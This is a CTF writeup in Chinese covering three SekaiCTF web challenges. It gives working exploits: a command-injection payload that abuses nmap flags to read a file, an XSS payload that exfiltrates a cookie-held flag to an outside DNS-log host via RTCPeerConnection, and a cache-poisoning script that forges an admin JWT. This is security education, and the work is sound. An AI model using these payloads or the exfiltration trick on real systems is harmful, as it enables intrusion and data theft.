8 分鐘閱讀

Yet another CTF writeups ;)

Intro

這個假日與${CyStick}一起參加了SekaiCTF,幫忙解了幾題,這裡紀錄一下解題過程和幾題有趣的題目(*標記的題目最終不是我解掉的)

Scanner Service (Web)

Overview

nmap as a service:

post '/' do
  input_service = escape_shell_input(params[:service])
  hostname, port = input_service.split ':', 2
  begin
    if valid_ip? hostname and valid_port? port
      # Service up?
      s = TCPSocket.new(hostname, port.to_i)
      s.close
      # Assuming valid ip and port, this should be fine
      @scan_result = IO.popen("nmap -p #{port} #{hostname}").read
    else
      @scan_result = "Invalid input detected, aborting scan!"
    end
  rescue Errno::ECONNREFUSED
    @scan_result = "Connection refused on #{hostname}:#{port}"
  rescue => e
    @scan_result = e.message
  end

  erb :'index'
end

valid_port?, valid_ip?, escape_shell_input:

def valid_port?(input)
  !input.nil? and (1..65535).cover?(input.to_i)
end

def valid_ip?(input)
  pattern = /\A((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})\z/
  !input.nil? and !!(input =~ pattern)
end

# chatgpt code :-)
def escape_shell_input(input_string)
  escaped_string = ''
  input_string.each_char do |c|
    case c
    when ' '
      escaped_string << '\\ '
    when '$'
      escaped_string << '\\$'
    when '`'
      escaped_string << '\\`'
    when '"'
      escaped_string << '\\"'
    when '\\'
      escaped_string << '\\\\'
    when '|'
      escaped_string << '\\|'
    when '&'
      escaped_string << '\\&'
    when ';'
      escaped_string << '\\;'
    when '<'
      escaped_string << '\\<'
    when '>'
      escaped_string << '\\>'
    when '('
      escaped_string << '\\('
    when ')'
      escaped_string << '\\)'
    when "'"
      escaped_string << '\\\''
    when "\n"
      escaped_string << '\\n'
    when "*"
      escaped_string << '\\*'
    else
      escaped_string << c
    end
  end

  escaped_string
end

目標很明顯,想辦法command injection,然後想辦法靠nmap的features拿shell或flag。

Solution

可以觀察到escape_shell_input過濾的字元有明顯的缺漏:

  • 只過濾 沒過濾\t等等其他種的空白字元
  • 沒過濾?

另外,valid_port?是靠to_i判斷的。在ruby中:

irb(main):002:0> "1234 escape!!!".to_i
=> 1234

所以可以很輕鬆的在port的位置command injection

最終翻一下nmap的manual可以發現他有一個--excludefile的功能會去讀檔,並且把error吐到stderr,另外-oX的輸出會包含error,所以只需要把輸出導向stdout即可拿到flag:

最後的payload:

POST / HTTP/1.1
Host: 35.231.135.130:30204
Content-Length: 107

service=127.0.0.1:1337%09--excludefile%09/flag-????????????????????????????????.txt%09-oX%09/proc/self/fd/1

Response:

...
<finished time="1693140961" timestr="Sun Aug 27 12:56:01 2023" summary="Nmap done at Sun Aug 27 12:56:01 2023; 0 IP addresses (0 hosts up) scanned in 0.20 seconds" elapsed="0.20" exit="error" errormsg="Error resolving name &quot;SEKAI{4r6um3n7_1nj3c710n_70_rc3!!}&quot;: Name does not resolve&#xa;"/><hosts up="0" down="0" total="0"/>

flag: SEKAI{4r6um3n7_1nj3c710n_70_rc3!!}

*Golf Jail (Web)

Overview

<?php
    header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
    header("Cross-Origin-Opener-Policy: same-origin");

    $payload = "🚩🚩🚩";
    if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
        $payload = $_GET["xss"];
    }

    $flag = "SEKAI{test_flag}";
    if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
        $flag = $_COOKIE["flag"];
    }
?>
<!DOCTYPE html>
<html>
    <body>
        <iframe
            sandbox="allow-scripts"
            srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
        ></iframe>
    </body>
</html>

CSP:

default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';

可以在srcdoc裡面插入30個字元,目標是繞過CSP和iframe的sandbox,拿到flag。

Solution

經過測試,我發現iframe中的baseURI會繼承parent的baseURI,並且在執行tag的onload時,browser會用with的方式把那個tag的attributes都包進去

因此只需要透過<svg/onload=eval('`'+baseURI)>的方式,就可以繞過字數限制,eval URL裡面的payload

另外,要獲得flag我們可以透過document.childNodes[0].nodeValue.trim()的方式,獲得comment中的flag

但我在這裡就止步了,因為我不知道怎麼繞過connent-src的CSP把flag傳出來,隊友後來有想出幾招:

  • link tag dns-prefetch/preconnect: 不確定原因,但這個只在最新版本的mac系統的chrome上有成功,remote和隊友windows系統的chrome都失敗了
  • RTCPeerConnection: 最後是靠這個拿到flag的

隊友的payload:

https://golfjail.chals.sekai.team/?`;d=new[window.URL][0](document.body.baseURI).searchParams.get(`h`);console.log(d);eval(d)//&xss=%3Csvg/onload=eval(%27%60%27%2bbaseURI)%3E&h=console.log(123);pc%20=%20new%20RTCPeerConnection({iceServers:%20[{%27url%27:%20%27stun:%27%2B[...document.childNodes[0].nodeValue.trim()].map(c=%3Ec.charCodeAt(0)).map(c=%3Ec.toString(16).padStart(2,%270%27)).join(%27%27).slice(60,80)%2B%27.o4ns16y.q.dnsl0g.net:19302%27,}]});pc.createDataChannel(%27d%27);pc.setLocalDescription();

flag: SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}

Chunky (Web)

Overview

services:
  blog:
    build: ./blog
    extra_hosts:
    - "chunky.chals.sekai.team:host-gateway"
    environment:
      - DB=blog.db
      - FLAG=SEKAI{1337}
      - SECRET_KEY=kgDz@W9ks29myrk8NxiIBqntoZ*N4oBX@
      - JWKS_URL_TEMPLATE=http://chunky.chals.sekai.team:8080/{user_id}/.well-known/jwks.json
  nginx:
    build: ./nginx 
  cache:
    build: ./rcache
    ports:
      - "8080:8080"

總共有三個server

  • blog: 真正有功能的server
  • nginx: reverse proxy,負責將cache給的request轉發到blog
  • cache: cache server,唯一對外開放的server,負責將request cache起來,並且在cache hit時將cache的response送回給nginx

blog有一個創造post的功能:

@app.route("/create_post", methods=["GET", "POST"])
def create_post():
    if "user_id" not in session:
        return do_not_cache(redirect("/login"))

    if request.method == "POST":
        title = request.form["title"]
        content = request.form["content"]
        user_id = session["user_id"]
        post_id = blog_posts.create_post(title, content, user_id)
        return do_not_cache(redirect(f"/post/{user_id}/{post_id}"))

    if request.method == "GET":
        return do_not_cache(render_template("create_post.html"))


@app.route("/post/<user_id>/<post_id>")
def post(user_id, post_id):
    post = blog_posts.get_post(post_id)
    return render_template("post.html", post=post)

另外有一個jwks.json的endpoint,用作拿flag時驗證jwt的方式:

@app.route("/<user_id>/.well-known/jwks.json")
def jwks(user_id):
    f = open("jwks.json", "r")
    jwks_contents = f.read()
    f.close()
    return jwks_contents

from flask import Blueprint, request, session
import os
import jwt
import requests

admin_bp = Blueprint("admin", __name__, url_prefix="/admin")
jwks_url_template = os.getenv("JWKS_URL_TEMPLATE")

valid_algo = "RS256"


def get_public_key_url(user_id):
    return jwks_url_template.format(user_id=user_id)


def get_public_key(url):
    resp = requests.get(url)
    print(resp.content, flush=True)
    resp = resp.json()
    key = resp["keys"][0]["x5c"][0]
    return key


def has_valid_alg(token):
    header = jwt.get_unverified_header(token)
    algo = header["alg"]
    return algo == valid_algo


def authorize_request(token, user_id):
    pubkey_url = get_public_key_url(user_id)
    if has_valid_alg(token) is False:
        raise Exception(
            "Invalid algorithm. Only {valid_algo} allowed!".format(
                valid_algo=valid_algo
            )
        )

    pubkey = get_public_key(pubkey_url)
    print(pubkey, flush=True)
    pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(
        pubkey=pubkey
    ).encode()
    decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
    if "user" not in decoded_token:
        raise Exception("user claim missing!")
    if decoded_token["user"] == "admin":
        return True

    return False


@admin_bp.before_request
def authorize():
    if "user_id" not in session:
        return "User not signed in!", 403

    if "Authorization" not in request.headers:
        return "No Authorization header found!", 403

    authz_header = request.headers["Authorization"].split(" ")
    if len(authz_header) < 2:
        return "Bearer token not found!", 403

    token = authz_header[1]
    if not authorize_request(token, session["user_id"]):
        return "Authorization failed!", 403


@admin_bp.route("/flag")
def flag():
    return os.getenv("FLAG")

nginx的設定:


user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log debug;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
    accept_mutex off;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;

    keepalive_timeout  65;

    server {
        listen 80 default_server;
        keepalive_timeout 60;

        location / {
            proxy_pass http://blog:8002;
        }
    }

}

cache運作的大致流程(省略了一些跟我最終的解法無關的內容):

parts := strings.Split(requestLine, " ")
if len(parts) != 3 {
    fmt.Println("Invalid request line:", requestLine)
    return
}

method := parts[0]
path := parts[1]
version := parts[2]

// ...

cacheKey := method + " " + path
if cachedResponse, ok := cache.Get(cacheKey); ok {
    fmt.Println("Cache hit for", cacheKey)

    writer.WriteString(cachedResponse)
    writer.Flush()
    return
}

// ...

response, headers, err := forwardRequest(serverConn, method, path, version, headers, host, reader)
if err != nil {
    fmt.Println("Error forwarding request:", err.Error())
    return
}

should_cache := true
for k, v := range headers {
    if path == "/admin/flag" || (k == "Cache-Control" && v == "no-store") {
        should_cache = false
    }
}
if should_cache {
    cache.Set(cacheKey, response)
}

writer.WriteString(response)
writer.Flush()

可以發現目標蠻明顯的,想辦法cache poisoning,污染cache server對jwks.json的response,讓他回傳我們的public key,這樣就可以拿到flag了。

Solution

我的解法:

import json
import secrets

import httpx
import jwt
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from pwn import *

HOST, PORT = "chunky.chals.sekai.team", 8080
if args.LOCAL:
    HOST, PORT = "localhost", 8080
CHALL_URL = f"http://{HOST}:{PORT}"

# Generate a private key
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)

# Serialize the private key to PEM format
private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption(),
)

# Generate the corresponding public key
public_key = private_key.public_key()

# Serialize the public key to PEM format
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo
)

ADMIN_TOKEN = jwt.encode({"user": "admin"}, private_pem, algorithm="RS256")
assert jwt.decode(ADMIN_TOKEN, public_pem, algorithms=["RS256"]) == {"user": "admin"}
JWKS_JSON = json.dumps(
    {
        "keys": [
            {
                "alg": "RS256",
                "x5c": [
                    public_pem.decode()
                    .replace("-----BEGIN PUBLIC KEY-----\n", "")
                    .replace("\n-----END PUBLIC KEY-----\n", "")
                ],
            }
        ]
    }
)


def create_and_login(client: httpx.Client) -> str:
    username = secrets.token_hex(8)
    client.post(
        "/signup",
        data={
            "username": username,
            "password": username,
        },
    )
    client.post(
        "/login",
        data={
            "username": username,
            "password": username,
        },
    )
    return username


def create_post(client: httpx.Client, title: str, content: str) -> str:
    r = client.post(
        "/create_post",
        data={
            "title": title,
            "content": content,
        },
    )
    return r.headers["Location"]


def cache_poisoning(target_user_id: str, post_path: str) -> None:
    payload = f"""\
GET /{target_user_id}/.well-known/jwks.json /../../..{post_path}\r
\r
""".encode()

    with remote(HOST, PORT) as io:
        io.send(payload)
        info("Cache:")
        print(io.recv(4096).replace(b"\r\n", b"\n").decode())

    info("After:")
    r = requests.get(f"{CHALL_URL}/{target_user_id}/.well-known/jwks.json")
    # print(r.content)
    # print(r.json())
    print(r.text.replace("\r\n", "\n"))
    assert r.json() == json.loads(JWKS_JSON)


def login_as_admin(client: httpx.Client) -> None:
    headers = {
        "Authorization": f"Bearer {ADMIN_TOKEN}",
    }
    r = client.get(
        "/admin/flag",
        headers=headers,
    )
    info("Flag:")
    print(r.text)


def main() -> None:
    payload = f"""\
HTTP/1.1 200 OK\r
Content-Length: {len(JWKS_JSON)}\r
\r
{JWKS_JSON}\r
"""

    with httpx.Client(base_url=CHALL_URL) as client:
        tareget_user = create_and_login(client)
        info(f"Logged in as {tareget_user}")
        post_path = create_post(client, payload, "")
        target_user_id = post_path.split("/")[2]
        info(f"Created post at {post_path}")
        cache_poisoning(target_user_id, post_path)
        login_as_admin(client)


if __name__ == "__main__":
    main()

# SEKAI{tr4nsf3r_3nc0d1ng_ftw!!}

flag: SEKAI{tr4nsf3r_3nc0d1ng_ftw!!}

我能解掉這題,基本上運氣很好,因為這個特性我完全是偶然發現的。我的解法基本上是靠著cache server與nginx對request line理解的不同所導致的差異,進行cache poisoning。

我payload中使用的request line為:

GET /xxxx/.well-known/jwks.json /../../../xxxx/yyyy

這個request line,在cache server透過strings.Split(requestLine, " ")所理解到的資訊為:

  • method: GET
  • path: /xxxx/.well-known/jwks.json
  • HTTP version: /../../../post/xxxx/yyyy

因此cache key為GET /xxxx/.well-known/jwks.json

但nginx並不這麼理解。

nginx處理request line的邏輯可以在ngx_http_parse_request_line中找到:

/src/http/ngx_http_parse.c#L104C10-L104C28

其中的重點是它處理uri和http version的部分:

sw_check_uri:狀態下,若是遇到空白字元,也就是parse完/xxxx/.well-known/jwks.json後,nginx會進入sw_check_uri_http_09的狀態:

/src/http/ngx_http_parse.c#L567-L570

case ' ':
    r->uri_end = p;
    state = sw_check_uri_http_09;
    break;

sw_check_uri_http_09這個狀態下,若是讀不到CRHTTP/x.x的開頭,nginx會直接回到sw_check_uri的狀態,繼續parse uri:

/src/http/ngx_http_parse.c#L607-L628

case sw_check_uri_http_09:
    switch (ch) {
    case ' ':
        break;
    case CR:
        r->http_minor = 9;
        state = sw_almost_done;
        break;
    case LF:
        r->http_minor = 9;
        goto done;
    case 'H':
        r->http_protocol.data = p;
        state = sw_http_H;
        break;
    default:
        r->space_in_uri = 1;
        state = sw_check_uri;
        p--;
        break;
    }
    break;

最後,當我們parse完整串request line,遇到CR時,nginx會將此時的位置設定為uri end,再將http version設定為0.9,最後進入sw_almost_done的狀態,準備結束parsing:

/src/http/ngx_http_parse.c#L571-L575

case CR:
    r->uri_end = p;
    r->http_minor = 9;
    state = sw_almost_done;
    break;

因此,最終nginx根據這個request line所得到的資訊為:

  • method: GET
  • path: /xxxx/.well-known/jwks.json /../../../post/xxxx/yyyy -> /post/xxxx/yyyy
  • HTTP version: 0.9

但要注意到,之所以path中能夠包含空格,是因為server所使用的nginx版本為1.18.0,小於1.21.1,因此nginx會將空格視為合法的path字元,類似的情況也在以前的CTF發生過

此時,若是nginx直接把request line原封不動送給upstream server,gunicorn因為不支援HTTP 0.9的request line,會直接回應400 Bad Request。

但根據nginx在proxy_pass時的default設定:

https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_http_version Sets the HTTP protocol version for proxying. By default, version 1.0 is used.

因此,nginx會將我們剛剛的request升級為HTTP 1.0的request,並且送給upstream server。最終,我們的request line會變成:

GET /post/xxxx/yyyy HTTP/1.0

這樣的request line,就可以成功送到upstream server,並且nginx會將回傳的response降級為HTTP 0.9的response,也就是沒有response headers,只有response body。

最終我們即可透過在/post/xxxx/yyyy創造的假的HTTP response,來污染/xxxx/.well-known/jwks.json的response,讓他回傳我們的public key,這樣就可以拿到flag了。